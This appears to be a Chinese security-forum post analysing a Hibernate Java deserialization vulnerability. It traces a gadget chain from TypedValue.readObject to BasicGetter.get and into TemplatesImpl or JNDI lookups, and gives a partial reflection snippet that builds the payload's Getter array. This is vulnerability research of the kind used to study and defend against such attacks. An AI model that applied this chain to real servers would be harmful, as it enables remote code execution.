前言:

金蛇剑:此剑金光灿烂形状奇特,剑身犹如是一条蛇盘曲而成。蛇尾构成剑尖蛇头藏与剑柄,握在手中甚是沉重,原是由黄金铸造而成。此剑形状甚是奇特,整柄剑就如是一条蛇盘曲而成,蛇尾勾成剑柄,蛇头则是剑尖,蛇舌伸出分叉,是以剑尖竟有两叉。

主角:

hibernate

介绍:

Hibernate是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,它将POJO与数据库表建立映射关系,是一个全自动的orm框架,hibernate可以自动生成SQL语句,自动执行,使得Java程序员可以随心所欲的使用对象编程思维来操纵数据库。曾几何时,java web程序员必备面试宝典,ssh(spring+struts2+hibernate),当年笔者上javaweb课时,老师安利ssh,可见hibernate当年影响力多大。今天笔者跟着大家一起来学习分析hibernate的反序列化漏洞。

正文:

全局搜索了下关键字invoke,发现调用的地方很多。其中org.hibernate.property.BasicPropertyAccessor中BasicGetter类中get函数中调用了此函数,后面构造分析的poc都是基于此类的。

根据前几篇的分析,我们大致有了思路。看能不能借助 Xalan’sTemplatesImpl的_bytecodes字段来new一个evil类,或者是借助JdbcRowSetImpl,JNDIConnectionPool来做JNDI绑定(绑定这个词我也不知道恰不恰当)。

org.hibernate.engine.spi.TypedValue.TypedValue.readObject()->org.hibernate.engine.spi.TypedValue.initTransients()->org.hibernate.type.ComponentType.getHashCode()->org.hibernate.type.ComponentType.getPropertyValue()->org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()->org.hibernate.property.BasicPropertyAccessor.BasicGetter.get()
首先先看BasicGetter类,其构造函数中需要指定3个参数,class,method,propertyName

有如下大致思路,将method指定为getOutputProperties,然后将target传入一个TemplatesImpl对象。其中调用的地方如下:
org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()

还需要利用反射区构造一个Getter数组,并且将BasicGetter放至在该数组中。代码如下:

Class<?> getter = Class.forName("org.hibernate.property.Getter");
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
bgCon.setAccessible(true);
Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), "demo");
Object array = Array.newInstance(getter,1);
点击收藏 | 2 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖